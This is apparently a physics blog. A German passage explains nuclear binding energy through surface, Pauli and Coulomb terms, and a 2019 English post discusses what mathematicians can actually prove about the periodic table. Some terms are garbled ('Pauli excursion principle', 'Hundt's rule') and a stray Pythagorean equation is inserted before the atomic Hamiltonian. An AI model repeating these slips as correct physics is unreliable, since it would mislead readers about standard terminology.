Genau das gleiche ist es bei Atomkernen. Auch diese verkleinern durch Zusammenkommen die Gesamtoberfläche zum Vakuum und bei dieser Vereinigung oder Fusion wird die entsprechende Oberflächenenergie frei.

Allerdings gibt es bei Atomkernen noch weitere energetische Beiträge, die vor allem bei großen Kernen mit vielen Nukleonen wichtig werden und dafür sorgen, dass zu große Kerne zwar eine kleinere Oberfläche als die Summe der möglichen Bruchstücke haben, aber trotzdem energetisch ungünstiger sind, so dass eine energetisch günstigste Kerngröße gibt (dies ist, wenn ich mich richtig an mein Studium erinnere, der Kern des Elements Eisen).

Da ist zunächst das "Pauli-Verbot", das verhindert, dass zwei Nukleonen in genau dem gleichen Zustand im Atomkern sind. Sie müssen sich in mindestens einem Aspekt unterscheiden. Dies kann zB ihr Drehimpuls (Spin) sein oder aber ihr "Isospin", also ob sie ein Proton oder ein Neutron sind. Wenn sie aber in all diesen Aspekten übereinstimmen, müssen sie wenigstens verschiedene Energieniveaus im Kern einnehmen. Kommen weitere Nukleonen hinzu, sind die untersten Energieniveaus schon besetzt und sie müssen ein höheres einnehmen (was eben diese Energie kostet).  

Innerhalb des Kerns können sich aber Neutronen und Protonen und zurück ineinander umwandeln (dies ist der beta-Zerfall), kommt also etwa ein Neutron hinzu und müsste ein hohes Neutronen-Energieniveu besetzten, kann es sich, wenn ein günstigeres Protonen-Niveau noch frei ist, in ein Proton umwandeln (es sendet dazu ein Elektron und ein Antineutrino aus, damit auch mit der Ladung alles stimmt). Hier gibt es einen Energiebeitrag der jeweils einzeln von der Protonen- und der Neutronenzahl ist und teurer wird, je größer der Kern ist.

Ein weiterer Effekt ist, dass eben die Protonen elektrisch geladen ist und die anderen Protonen abstößt. Dies benötigt auch Energie in der Gesamtenergiebilanz eines Atomkerns, die proportional zum Quadrat der Protonenzahl ist (also ungünstig für zu große Kerne ist).

Wenn man all dies zusammenzählt, sieht man, dass man bei kleinen Kernen erstmal sehr viel Grenzflächen-Energie gewinnt, wenn man diese zu einem größeren vereinigt. Ab einer mittleren Kerngr öße fangen dann die anderen Effekte an zu überwiegen und zu große Kerne sind auch wieder nicht günstig, weswegen man auf durch Kernspaltung, also die Auftrennen solcher zu großen Kerne wieder Energie gewinnen kann.

Friday, March 29, 2019

Proving the Periodic Table

The year 2019 is the International Year of the Periodic Table celebrating the 150th anniversary of Mendeleev's discovery. This prompts me to report on something that I learned in recent years when co-teaching "Mathematical Quantum Mechanics" with mathematicians in particular with Heinz Siedentop: We know less about the mathematics of the periodic table) than I thought.

In high school chemistry you learned that the periodic table comes about because of the orbitals in atoms. There is Hundt's rule that tells you the order in which you have to fill the shells in and in them the orbitals (s, p, d, f, ...). Then, in your second semester in university, you learn to derive those using Sehr\"odinger's equation: You diagonalise the Hamiltonian of the hyrdrogen atom and find the shells in terms of the main quantum number $n$ and the orbitals in terms of the angular momentum quantum number $L$ as $L=0$ corresponds to s, $L=1$ to p and so on. And you fill the orbitals thanks to the Pauli excursion principle. So, this proves the story of the chemists.

Except that it doesn't: This is only true for the hydrogen atom. But the Hamiltonian for an atom nuclear charge $Z$ and $N$ electrons (so we allow for ions) is (in convenient units)
$$ a^2+b^2=c^2$$

$$ H = -\sum_{i=1}^N \Delta_i -\sum_{i=1}^N \frac{Z}{|x_i|} + \sum_{i\lt j}^N\frac{1}{|x_i-x_j|}.$$

The story of the previous paragraph would be true if the last term, the Coulomb interaction between the electrons would not be there. In that case, there is no interaction between the electrons and we could solve a hydrogen type problem for each electron separately and then anti-symmetrise wave functions in the end in a Slater determinant to take into account their Fermionic nature. But of course, in the real world, the Coulomb interaction is there and it contributes like $N^2$ to the energy, so it is of the same order (for almost neutral atoms) like the $ZN$ of the electron-nucleon potential.

The approximation of dropping the electron-electron Coulomb interaction is well known in condensed matter systems where there resulting theory is known as a "Fermi gas". There it gives you band structure (which is then used to explain how a transistor works)

Band structure in a NPN-transistor
Also in that case, you pretend there is only one electron in the world that feels the periodic electric potential created by the nuclei and all the other electrons which don't show up anymore in the wave function but only as charge density.

For atoms you could try to make a similar story by taking the inner electrons into account by saying that the most important effect of the ee-Coulomb interaction is to shield the potential of the nucleus thereby making the effective $Z$ for the outer electrons smaller. This picture would of course be true if there were no correlations between the electrons and all the inner electrons are spherically symmetric in their distribution around the nucleus and much closer to the nucleus than the outer ones.  But this sounds more like a day dream than a controlled approximation.

In the condensed matter situation, the standing for the Fermi gas is much better as there you could invoke renormalisation group arguments as the conductivities you are interested in are long wave length compared to the lattice structure, so we are in the infra red limit and the Coulomb interaction is indeed an irrelevant term in more than one euclidean dimension (and yes, in 1D, the Fermi gas is not the whole story, there is the Luttinger liquid as well).

But for atoms, I don't see how you would invoke such RG arguments.

So what can you do (with regards to actually proving the periodic table)? In our class, we teach how Lieb and Simons showed that in the $N=Z\to \infty$ limit (which in some sense can also be viewed as the semi-classical limit when you bring in $\hbar$ again) that the ground state energy $E^Q$ of the Hamiltonian above is in fact approximated by the ground state energy $E^{TF}$ of the Thomas-Fermi model (the simplest of all density functional theories, where instead of the multi-particle wave function you only use the one-particle electronic density $\rho(x)$ and approximate the kinetic energy by a term like $\int \rho^{5/3}$ which is exact for the three fermi gas in empty space):

$$E^Q(Z) = E^{TF}(Z) + O(Z^2)$$

where by a simple scaling argument $E^{TF}(Z) \sim Z^{7/3}$. More recently, people have computed more terms in these asymptotic which goes in terms of $Z^{-1/3}$, the second term ($O(Z^{6/3})= O(Z^2)$ is known and people have put a lot of effort into $O(Z^{5/3})$ but it should be clear that this technology is still very very far from proving anything "periodic" which would be $O(Z^0)$. So don't hold your breath hoping to find the periodic table from this approach.

On the other hand, chemistry of the periodic table (where the column is supposed to predict chemical properties of the atom expressed in terms of the orbitals of the "valence electrons") works best for small atoms. So, another sensible limit appears to be to keep $N$ small and fixed and only send $Z\to\infty$. Of course this is not really describing atoms but rather highly charged ions.

The advantage of this approach is that in the above Hamiltonian, you can absorb the $Z$ of the electron-nucleon interaction into a rescaling of $x$ which then let's $Z$ reappear in front of the electron-electron term as $1/Z$. Then in this limit, one can try to treat the ugly unwanted ee-term perturbatively.

Friesecke (from TUM) and collaborators have made impressive progress in this direction and in this limit they could confirm that for $N < 10$ the chemists' picture is actually correct (with some small corrections). There are very nice slides of a seminar talk by Friesecke on these results.

Of course, as a practitioner, this will not surprise you (after all, chemistry works) but it is nice to know that mathematicians can actually prove things in this direction. But it there is still some way to go even 150 years after Mendeleev.